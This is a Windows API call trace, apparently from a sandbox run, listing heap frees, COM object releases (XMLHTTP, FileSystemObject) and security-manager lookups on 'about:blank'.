[0212.428] ResetWriteWatch (lpBaseAddress=0x7580000, dwRegionSize=0x1000) returned 0x0
[0212.428] ResetWriteWatch (lpBaseAddress=0x7581000, dwRegionSize=0x1000) returned 0x0
[0212.429] ResetWriteWatch (lpBaseAddress=0x7582000, dwRegionSize=0x1000) returned 0x0
[0212.429] ResetWriteWatch (lpBaseAddress=0x7583000, dwRegionSize=0x1000) returned 0x0
[0212.429] ResetWriteWatch (lpBaseAddress=0x7584000, dwRegionSize=0x1000) returned 0x0
[0212.429] ResetWriteWatch (lpBaseAddress=0x7585000, dwRegionSize=0x1000) returned 0x0
[0212.429] ResetWriteWatch (lpBaseAddress=0x7586000, dwRegionSize=0x1000) returned 0x0
[0212.429] ResetWriteWatch (lpBaseAddress=0x758b000, dwRegionSize=0x1000) returned 0x0
[0212.429] ResetWriteWatch (lpBaseAddress=0x758d000, dwRegionSize=0x1000) returned 0x0
[0212.429] ResetWriteWatch (lpBaseAddress=0x7594000, dwRegionSize=0x1000) returned 0x0
[0212.429] ResetWriteWatch (lpBaseAddress=0x759a000, dwRegionSize=0x1000) returned 0x0
[0212.429] ResetWriteWatch (lpBaseAddress=0x759b000, dwRegionSize=0x1000) returned 0x0
[0212.429] ResetWriteWatch (lpBaseAddress=0x759c000, dwRegionSize=0x1000) returned 0x0
[0212.430] ResetWriteWatch (lpBaseAddress=0x759d000, dwRegionSize=0x1000) returned 0x0
[0212.430] ResetWriteWatch (lpBaseAddress=0x759e000, dwRegionSize=0x1000) returned 0x0
[0212.430] ResetWriteWatch (lpBaseAddress=0x759f000, dwRegionSize=0x1000) returned 0x0
[0212.430] ResetWriteWatch (lpBaseAddress=0x9675000, dwRegionSize=0x1000) returned 0x0
[0212.430] ResetWriteWatch (lpBaseAddress=0x9676000, dwRegionSize=0x1000) returned 0x0
[0212.430] ResetWriteWatch (lpBaseAddress=0x9677000, dwRegionSize=0x1000) returned 0x0
[0212.430] ResetWriteWatch (lpBaseAddress=0x9678000, dwRegionSize=0x1000) returned 0x0
[0212.430] ResetWriteWatch (lpBaseAddress=0x9679000, dwRegionSize=0x1000) returned 0x0
[0212.430] ResetWriteWatch (lpBaseAddress=0x967a000, dwRegionSize=0x1000) returned 0x0
[0212.430] ResetWriteWatch (lpBaseAddress=0x967b000, dwRegionSize=0x1000) returned 0x0
[0212.430] ResetWriteWatch (lpBaseAddress=0x967c000, dwRegionSize=0x1000) returned 0x0
[0212.430] ResetWriteWatch (lpBaseAddress=0x967d000, dwRegionSize=0x1000) returned 0x0
[0212.430] ResetWriteWatch (lpBaseAddress=0x967e000, dwRegionSize=0x1000) returned 0x0
[0212.430] ResetWriteWatch (lpBaseAddress=0x967f000, dwRegionSize=0x1000) returned 0x0
[0212.430] ResetWriteWatch (lpBaseAddress=0x9680000, dwRegionSize=0x1000) returned 0x0
[0212.430] ResetWriteWatch (lpBaseAddress=0x9681000, dwRegionSize=0x1000) returned 0x0
[0212.430] ResetWriteWatch (lpBaseAddress=0x9682000, dwRegionSize=0x1000) returned 0x0
[0212.430] ResetWriteWatch (lpBaseAddress=0x9683000, dwRegionSize=0x1000) returned 0x0
[0212.430] ResetWriteWatch (lpBaseAddress=0x9684000, dwRegionSize=0x1000) returned 0x0
[0212.431] ResetWriteWatch (lpBaseAddress=0x9685000, dwRegionSize=0x1000) returned 0x0
[0212.431] ResetWriteWatch (lpBaseAddress=0x9686000, dwRegionSize=0x1000) returned 0x0
[0212.431] ResetWriteWatch (lpBaseAddress=0x9687000, dwRegionSize=0x1000) returned 0x0
[0212.431] ResetWriteWatch (lpBaseAddress=0x9688000, dwRegionSize=0x1000) returned 0x0
[0212.431] ResetWriteWatch (lpBaseAddress=0x9689000, dwRegionSize=0x1000) returned 0x0
[0212.431] ResetWriteWatch (lpBaseAddress=0x968a000, dwRegionSize=0x1000) returned 0x0
[0212.431] ResetWriteWatch (lpBaseAddress=0x968b000, dwRegionSize=0x1000) returned 0x0
[0212.431] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x6315a58 | out: lpSystemTimeAsFileTime=0x6315a58*(dwLowDateTime=0x7c54ed30, dwHighDateTime=0x1d7e6dd))
[0212.431] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x6315a60 | out: lpSystemTimeAsFileTime=0x6315a60*(dwLowDateTime=0x7c550140, dwHighDateTime=0x1d7e6dd))
[0212.431] GetTickCount () returned 0x1ca6eba
[0212.431] SetEvent (hEvent=0x390) returned 1
[0212.431] SetThreadPriority (hThread=0x394, nPriority=0) returned 1
[0212.431] WaitForSingleObject (hHandle=0x38c, dwMilliseconds=0x3e8) returned 0x0
[0212.440] SetThreadPriority (hThread=0x394, nPriority=-1) returned 1
[0212.442] free (_Block=0x635e868)
[0212.442] free (_Block=0x6324828)
[0212.442] free (_Block=0x63272e8)
[0212.442] free (_Block=0x635e928)
[0212.442] free (_Block=0x635e8c8)
[0212.443] free (_Block=0x635e8b0)
[0212.443] free (_Block=0x6320350)
[0212.443] free (_Block=0x6320338)
[0212.443] free (_Block=0x6320320)
[0212.443] free (_Block=0x6321a58)
[0212.443] free (_Block=0x6321a40)
[0212.443] free (_Block=0x6320368)
[0212.443] free (_Block=0x6321ad8)
[0212.443] free (_Block=0x6321ac0)
[0212.443] free (_Block=0x6321aa8)
[0212.443] free (_Block=0x6321d78)
[0212.443] free (_Block=0x6321b68)
[0212.443] free (_Block=0x6321b28)
[0212.443] free (_Block=0x6321c10)
[0212.443] free (_Block=0x6321b80)
[0212.443] free (_Block=0x6321c58)
[0212.443] free (_Block=0x6321b98)
[0212.443] free (_Block=0x6321d30)
[0212.443] free (_Block=0x6321d18)
[0212.443] free (_Block=0x6321bc8)
[0212.443] free (_Block=0x6321be0)
[0212.444] free (_Block=0x6321bb0)
[0212.444] free (_Block=0x6327300)
[0212.444] free (_Block=0x63272b8)
[0212.444] free (_Block=0x63272d0)
[0212.446] free (_Block=0x6327198)
[0212.446] free (_Block=0x6327180)
[0212.446] free (_Block=0x6327168)
[0212.446] free (_Block=0x635a178)
[0212.446] free (_Block=0x6327318)
[0212.446] free (_Block=0x63272a0)
[0212.446] free (_Block=0x6321d48)
[0212.446] free (_Block=0x6321c28)
[0212.446] free (_Block=0x6321bf8)
[0212.447] free (_Block=0x631fc70)
[0212.447] free (_Block=0x631d5e0)
[0212.447] GetTickCount () returned 0x1ca6ec9
[0212.447] GetTickCount () returned 0x1ca6ec9
[0212.447] RtlInterlockedPopEntrySList (in: ListHead=0x630e1b8 | out: ListHead=0x630e1b8) returned 0x0
[0212.448] RtlInterlockedPopEntrySList (in: ListHead=0x630e198 | out: ListHead=0x630e198) returned 0x0
[0212.448] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x6315a48 | out: lpSystemTimeAsFileTime=0x6315a48*(dwLowDateTime=0x7c57731b, dwHighDateTime=0x1d7e6dd))
[0212.450] Stream:IUnknown:Release (This=0x76a350) returned 0x0
[0212.450] XMLHTTP:IUnknown:Release (This=0x6327288) returned 0x0
[0212.450] free (_Block=0x6327288)
[0212.455] XMLHTTP:IUnknown:Release (This=0x9873960) returned 0x0
[0212.456] XMLHTTP:IUnknown:Release (This=0x6327348) returned 0x0
[0212.456] free (_Block=0x6327348)
[0212.456] IUnknown:Release (This=0x64083c0) returned 0x0
[0212.458] FileSystemObject:IUnknown:Release (This=0x635a1d8) returned 0x0
[0212.459] IUnknown:Release (This=0x9e61288) returned 0x0
[0212.459] free (_Block=0x635a148)
[0212.461] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x6315a50 | out: lpSystemTimeAsFileTime=0x6315a50*(dwLowDateTime=0x7c598109, dwHighDateTime=0x1d7e6dd))
[0212.461] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x6315a58 | out: lpSystemTimeAsFileTime=0x6315a58*(dwLowDateTime=0x7c598109, dwHighDateTime=0x1d7e6dd))
[0212.461] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x6315a60 | out: lpSystemTimeAsFileTime=0x6315a60*(dwLowDateTime=0x7c598109, dwHighDateTime=0x1d7e6dd))
[0212.461] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x6315a68 | out: lpSystemTimeAsFileTime=0x6315a68*(dwLowDateTime=0x7c598109, dwHighDateTime=0x1d7e6dd))
[0212.461] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x6315a70 | out: lpSystemTimeAsFileTime=0x6315a70*(dwLowDateTime=0x7c59957d, dwHighDateTime=0x1d7e6dd))
[0212.461] GetUserDefaultLCID () returned 0x409
[0212.461] GetACP () returned 0x4e4
[0212.461] free (_Block=0x86ef90)
[0212.462] GetCurrentThreadId () returned 0x7a0
[0212.462] free (_Block=0x6321c70)
[0212.462] free (_Block=0x631f7b8)
[0212.462] free (_Block=0x630c3e8)
[0213.032] SetEvent (hEvent=0x308) returned 1
[0213.033] IUnknown:Release (This=0x6c0ae0) returned 0x0
[0213.033] IUnknown:Release (This=0x6420de4) returned 0x0
[0213.033] IUnknown:Release (This=0x6ee367bc) returned 0x1
[0213.033] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6d6a80 | out: hHeap=0x6b0000) returned 1
[0213.034] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x707aa8 | out: hHeap=0x6b0000) returned 1
[0213.034] CreateUri (in: pwzURI="about:blank", dwFlags=0x3002b84, dwReserved=0x0, ppURI=0x19fdf8 | out: ppURI=0x19fdf8*=0x6cccbc) returned 0x0
[0213.034] IUri:GetScheme (in: This=0x6cccbc, pdwScheme=0x19fd90 | out: pdwScheme=0x19fd90*=0x11) returned 0x0
[0213.034] IUnknown:QueryInterface (in: This=0x6cccbc, riid=0x6dcd333c*(Data1=0x50295b0c, Data2=0x6b79, Data3=0x4935, Data4=([0]=0xae, [1]=0xd8, [2]=0x5, [3]=0xd8, [4]=0xe, [5]=0xc8, [6]=0x6a, [7]=0x60)), ppvObject=0x19fd88 | out: ppvObject=0x19fd88*=0x6cccbc) returned 0x0
[0213.034] IUnknown:Release (This=0x6cccbc) returned 0x3
[0213.034] IUnknown:AddRef (This=0x6cccbc) returned 0x4
[0213.034] IUnknown:Release (This=0x6cccbc) returned 0x3
[0213.035] IUri:IsEqual (in: This=0x6d993c, pUri=0x6cccbc, pfEqual=0x19fde0 | out: pfEqual=0x19fde0*=0) returned 0x0
[0213.035] IUnknown:Release (This=0x6d993c) returned 0x3
[0213.035] IUnknown:AddRef (This=0x6cccbc) returned 0x4
[0213.035] IUri:GetAbsoluteUri (in: This=0x6cccbc, pbstrAbsoluteUri=0x6408240 | out: pbstrAbsoluteUri=0x6408240*="about:blank") returned 0x0
[0213.035] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x0, Ptr=0x6dac28, Size=0x1c) returned 0x6dac28
[0213.035] IUnknown:Release (This=0x6cccbc) returned 0x3
[0213.035] GetCurrentProcessId () returned 0x7a4
[0213.038] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6c5090 | out: hHeap=0x6b0000) returned 1
[0213.044] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6df750 | out: hHeap=0x6b0000) returned 1
[0213.045] IUnknown:Release (This=0x6c4c5c) returned 0x6
[0213.045] IUnknown:Release (This=0x6c4c5c) returned 0x5
[0213.045] GetCurrentThreadId () returned 0x7a0
[0213.045] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6d97d0 | out: hHeap=0x6b0000) returned 1
[0213.045] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6d9530 | out: hHeap=0x6b0000) returned 1
[0213.046] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6dac28 | out: hHeap=0x6b0000) returned 1
[0213.046] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6d9f60 | out: hHeap=0x6b0000) returned 1
[0213.047] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6f98a8 | out: hHeap=0x6b0000) returned 1
[0213.047] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6d49d0 | out: hHeap=0x6b0000) returned 1
[0213.047] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6c4e20 | out: hHeap=0x6b0000) returned 1
[0213.048] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6d49b0 | out: hHeap=0x6b0000) returned 1
[0213.048] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x700388 | out: hHeap=0x6b0000) returned 1
[0213.048] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6d48c0 | out: hHeap=0x6b0000) returned 1
[0213.049] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6f88f0 | out: hHeap=0x6b0000) returned 1
[0213.049] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x70dcc0 | out: hHeap=0x6b0000) returned 1
[0213.049] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x74c4b0 | out: hHeap=0x6b0000) returned 1
[0213.049] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x76b238 | out: hHeap=0x6b0000) returned 1
[0213.050] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x9e75e08 | out: hHeap=0x6b0000) returned 1
[0213.080] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x9e6aae8 | out: hHeap=0x6b0000) returned 1
[0213.081] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x74c5d0 | out: hHeap=0x6b0000) returned 1
[0213.081] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x769c00 | out: hHeap=0x6b0000) returned 1
[0213.082] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0213.082] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0213.083] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x4) returned 0x789be8
[0213.083] memcpy_s (in: _Destination=0x789be8, _DestinationSize=0x4, _Source=0x19fc58, _SourceSize=0x4 | out: _Destination=0x789be8) returned 0x0
[0213.083] CoInternetCreateSecurityManager (in: pSP=0x0, ppSM=0x19fa24, dwReserved=0x0 | out: ppSM=0x19fa24*=0x7a0340) returned 0x0
[0213.083] IUnknown:QueryInterface (in: This=0x7a0340, riid=0x6dcd4ed8*(Data1=0xf1e50292, Data2=0xa795, Data3=0x4117, Data4=([0]=0x8e, [1]=0x9, [2]=0x2b, [3]=0x56, [4]=0xa, [5]=0x72, [6]=0xac, [7]=0x60)), ppvObject=0x19fa28 | out: ppvObject=0x19fa28*=0x7a0340) returned 0x0
[0213.083] IUnknown:Release (This=0x7a0340) returned 0x1
[0213.083] IInternetSecurityManager:SetSecuritySite (This=0x7a0340, pSite=0x6420de4) returned 0x0
[0213.085] IUnknown:AddRef (This=0x6420de4) returned 0x49
[0213.085] IUnknown:QueryInterface (in: This=0x6420de4, riid=0x70a44814*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x19fa00 | out: ppvObject=0x19fa00*=0x6420de8) returned 0x0
[0213.085] IServiceProvider:QueryService (in: This=0x6420de8, guidService=0x70a44b68*(Data1=0x49d33aad, Data2=0xf985, Data3=0x4b70, Data4=([0]=0x97, [1]=0xa0, [2]=0x28, [3]=0xec, [4]=0xeb, [5]=0x65, [6]=0x23, [7]=0xbf)), riid=0x70a44b68*(Data1=0x49d33aad, Data2=0xf985, Data3=0x4b70, Data4=([0]=0x97, [1]=0xa0, [2]=0x28, [3]=0xec, [4]=0xeb, [5]=0x65, [6]=0x23, [7]=0xbf)), ppvObject=0x7a0374 | out: ppvObject=0x7a0374*=0x0) returned 0x80004002
[0213.086] IServiceProvider:QueryService (in: This=0x6420de8, guidService=0x70a44c28*(Data1=0xf1e50292, Data2=0xa795, Data3=0x4117, Data4=([0]=0x8e, [1]=0x9, [2]=0x2b, [3]=0x56, [4]=0xa, [5]=0x72, [6]=0xac, [7]=0x60)), riid=0x70a44c28*(Data1=0xf1e50292, Data2=0xa795, Data3=0x4117, Data4=([0]=0x8e, [1]=0x9, [2]=0x2b, [3]=0x56, [4]=0xa, [5]=0x72, [6]=0xac, [7]=0x60)), ppvObject=0x7a0370 | out: ppvObject=0x7a0370*=0x0) returned 0x80004002
[0213.086] IServiceProvider:QueryService (in: This=0x6420de8, guidService=0x70a44c38*(Data1=0xf164edf1, Data2=0xcc7c, Data3=0x4f0d, Data4=([0]=0x9a, [1]=0x94, [2]=0x34, [3]=0x22, [4]=0x26, [5]=0x25, [6]=0xc3, [7]=0x93)), riid=0x70a44c38*(Data1=0xf164edf1, Data2=0xcc7c, Data3=0x4f0d, Data4=([0]=0x9a, [1]=0x94, [2]=0x34, [3]=0x22, [4]=0x26, [5]=0x25, [6]=0xc3, [7]=0x93)), ppvObject=0x7a036c | out: ppvObject=0x7a036c*=0x0) returned 0x80004002
[0213.086] IServiceProvider:QueryService (in: This=0x6420de8, guidService=0x70a44c18*(Data1=0x79eac9ee, Data2=0xbaf9, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), riid=0x70a44c18*(Data1=0x79eac9ee, Data2=0xbaf9, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), ppvObject=0x7a0368 | out: ppvObject=0x7a0368*=0x6ee367bc) returned 0x0
[0213.086] IUnknown:Release (This=0x6420de8) returned 0x0
[0213.086] IUnknown:AddRef (This=0x7a0340) returned 0x2
[0213.086] IUnknown:AddRef (This=0x6cccbc) returned 0x4
[0213.086] CoInternetIsFeatureEnabled (FeatureEntry=0xe, dwFlags=0x2) returned 0x1
[0213.086] IInternetSecurityManager:MapUrlToZone (in: This=0x6ee367bc, pwszUrl="about:blank", pdwZone=0x19fa78, dwFlags=0x0 | out: pdwZone=0x19fa78*=0xffffffff) returned 0x800c0011
[0213.110] IUnknown:AddRef (This=0x6ed24fb0) returned 0x1
[0213.111] IUnknown:QueryInterface (in: This=0x6ed24fb0, riid=0x70a44794*(Data1=0x79eac9ec, Data2=0xbaf9, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), ppvObject=0x19ecd0 | out: ppvObject=0x19ecd0*=0x6ed24fbc) returned 0x0
[0213.111] IUnknown:Release (This=0x6ed24fb0) returned 0x1
[0213.111] IInternetProtocolInfo:ParseUrl (in: This=0x6ed24fbc, pwzUrl="about:blank", ParseAction=3, dwParseFlags=0x0, pwzResult=0x9e75c88, cchResult=0xc, pcchResult=0x19ece0, dwReserved=0x0 | out: pwzResult="about:blank", pcchResult=0x19ece0*=0xc) returned 0x0
[0213.111] StrCmpICW (pszStr1="about:blank", pszStr2="about:blank") returned 0
[0213.111] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x1c) returned 0x9e6a0f0
[0213.112] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x9e6a0f0 | out: hHeap=0x6b0000) returned 1
[0213.112] IUnknown:Release (This=0x6ed24fbc) returned 0x1
[0213.112] IUnknown:AddRef (This=0x6ed24fb0) returned 0x1
[0213.112] IUnknown:QueryInterface (in: This=0x6ed24fb0, riid=0x70a44794*(Data1=0x79eac9ec, Data2=0xbaf9, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), ppvObject=0x19ecd4 | out: ppvObject=0x19ecd4*=0x6ed24fbc) returned 0x0
[0213.112] IUnknown:Release (This=0x6ed24fb0) returned 0x1
[0213.112] IInternetProtocolInfo:ParseUrl (in: This=0x6ed24fbc, pwzUrl="about:blank", ParseAction=17, dwParseFlags=0x0, pwzResult=0x9e75c28, cchResult=0xc, pcchResult=0x19ecec, dwReserved=0x0 | out: pwzResult="", pcchResult=0x19ecec*=0x0) returned 0x800c0011
[0213.112] IUnknown:Release (This=0x6ed24fbc) returned 0x1
[0213.112] CoInternetIsFeatureEnabled (FeatureEntry=0x8, dwFlags=0x2) returned 0x1
[0213.112] CoInternetIsFeatureEnabled (FeatureEntry=0xe, dwFlags=0x2) returned 0x1
[0213.112] IInternetSecurityManagerEx2:ProcessUrlActionEx2 (in: This=0x7a0340, pUri=0x6cccbc, dwAction=0x2106, pPolicy=0x19fa7c, cbPolicy=0x4, pContext=0x0, cbContext=0x0, dwFlags=0x41, dwReserved=0x0, pdwOutFlags=0x19fa5c | out: pPolicy=0x19fa7c*=0x0, pdwOutFlags=0x19fa5c*=0x0) returned 0x0
[0213.112] IInternetSecurityManager:ProcessUrlAction (in: This=0x6ee367bc, pwszUrl="about:blank", dwAction=0x2106, pPolicy=0x19fa7c, cbPolicy=0x4, pContext=0x0, cbContext=0x0, dwFlags=0x41, dwReserved=0x0 | out: pPolicy=0x19fa7c*=0x0) returned 0x0
[0213.113] IUnknown:Release (This=0x7a0340) returned 0x1
[0213.113] IUnknown:Release (This=0x6cccbc) returned 0x4
[0213.114] IUnknown:Release (This=0x6c2280) returned 0x0
[0213.114] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x789be8 | out: hHeap=0x6b0000) returned 1
[0213.114] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0213.114] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0213.115] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xa) returned 0x9e6d008
[0213.115] memcpy_s (in: _Destination=0x9e6d008, _DestinationSize=0xa, _Source=0x6d9500, _SourceSize=0xa | out: _Destination=0x9e6d008) returned 0x0
[0213.115] GetCurrentProcessId () returned 0x7a4
[0213.115] GetCurrentThreadId () returned 0x7a0
[0213.115] GetCurrentThreadId () returned 0x7a0
[0213.115] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xa) returned 0x9e6d068
[0213.203] memcpy_s (in: _Destination=0x9e6d068, _DestinationSize=0xa, _Source=0x6d9500, _SourceSize=0xa | out: _Destination=0x9e6d068) returned 0x0
[0213.204] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x9e6d068 | out: hHeap=0x6b0000) returned 1
[0213.277] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x9e6d008 | out: hHeap=0x6b0000) returned 1
[0213.277] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6d96b0 | out: hHeap=0x6b0000) returned 1
[0213.278] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6d9500 | out: hHeap=0x6b0000) returned 1
[0213.279] IUnknown:Release (This=0x6c4c5c) returned 0x2
[0213.279] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6d2cb8 | out: hHeap=0x6b0000) returned 1
[0213.280] IUnknown:Release (This=0x6cccbc) returned 0x3
[0213.281] VirtualProtect (in: lpAddress=0x6ee47000, dwSize=0xb44, flNewProtect=0x4, lpflOldProtect=0x6ed33704 | out: lpflOldProtect=0x6ed33704*=0x2) returned 1
[0213.282] GetProcAddress (hModule=0x65c40000, lpProcName=0x2) returned 0x65c42610
[0213.283] VirtualProtect (in: lpAddress=0x6ee47000, dwSize=0xb44, flNewProtect=0x2, lpflOldProtect=0x19fd70 | out: lpflOldProtect=0x19fd70*=0x4) returned 1
[0213.283] LsDestroyContext () returned 0x0
[0213.283] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x700e30 | out: hHeap=0x6b0000) returned 1
[0213.284] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x713cf0 | out: hHeap=0x6b0000) returned 1
[0213.284] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x700f48 | out: hHeap=0x6b0000) returned 1
[0213.284] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x713ba0 | out: hHeap=0x6b0000) returned 1
[0213.284] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6c6528 | out: hHeap=0x6b0000) returned 1
[0213.284] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6c6730 | out: hHeap=0x6b0000) returned 1
[0213.284] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6d5330 | out: hHeap=0x6b0000) returned 1
[0213.285] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6ec930 | out: hHeap=0x6b0000) returned 1
[0213.285] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6c6550 | out: hHeap=0x6b0000) returned 1
[0213.285] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6c65f0 | out: hHeap=0x6b0000) returned 1
[0213.285] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6c6578 | out: hHeap=0x6b0000) returned 1
[0213.285] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6c67a8 | out: hHeap=0x6b0000) returned 1
[0213.285] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6e9a60 | out: hHeap=0x6b0000) returned 1
[0213.286] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x701238 | out: hHeap=0x6b0000) returned 1
[0213.286] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x701368 | out: hHeap=0x6b0000) returned 1
[0213.286] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6e9e68 | out: hHeap=0x6b0000) returned 1
[0213.287] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6e9f78 | out: hHeap=0x6b0000) returned 1
[0213.287] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6ea0b0 | out: hHeap=0x6b0000) returned 1
[0213.287] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x757b30 | out: hHeap=0x6b0000) returned 1
[0213.287] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x758838 | out: hHeap=0x6b0000) returned 1
[0213.287] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6c0be0 | out: hHeap=0x6b0000) returned 1
[0213.287] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6f8750 | out: hHeap=0x6b0000) returned 1
[0213.287] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x717d20 | out: hHeap=0x6b0000) returned 1
[0213.288] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x717828 | out: hHeap=0x6b0000) returned 1
[0213.288] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x717f68 | out: hHeap=0x6b0000) returned 1
[0213.288] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6ea6d8 | out: hHeap=0x6b0000) returned 1
[0213.288] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x7561b0 | out: hHeap=0x6b0000) returned 1
[0213.288] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x759f18 | out: hHeap=0x6b0000) returned 1
[0213.288] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6fe1e8 | out: hHeap=0x6b0000) returned 1
[0213.288] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6ea5e0 | out: hHeap=0x6b0000) returned 1
[0213.288] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6ea1c8 | out: hHeap=0x6b0000) returned 1
[0213.288] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6eaa10 | out: hHeap=0x6b0000) returned 1
[0213.288] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x7007b8 | out: hHeap=0x6b0000) returned 1
[0213.289] GetCurrentThreadId () returned 0x7a0
[0213.289] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x6315a20 | out: lpSystemTimeAsFileTime=0x6315a20*(dwLowDateTime=0x7cd7ecaf, dwHighDateTime=0x1d7e6dd))
[0213.289] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x6315a30 | out: lpSystemTimeAsFileTime=0x6315a30*(dwLowDateTime=0x7cd7ecaf, dwHighDateTime=0x1d7e6dd))
[0213.289] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x6315a58 | out: lpSystemTimeAsFileTime=0x6315a58*(dwLowDateTime=0x7cd7ecaf, dwHighDateTime=0x1d7e6dd))
[0213.289] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x6315a60 | out: lpSystemTimeAsFileTime=0x6315a60*(dwLowDateTime=0x7cd7ecaf, dwHighDateTime=0x1d7e6dd))
[0213.290] GetTickCount () returned 0x1ca7215
[0213.291] GetTickCount () returned 0x1ca7215
[0213.291] RtlInterlockedPopEntrySList (in: ListHead=0x630e1b8 | out: ListHead=0x630e1b8) returned 0x0
[0213.291] RtlInterlockedPopEntrySList (in: ListHead=0x630e198 | out: ListHead=0x630e198) returned 0x0
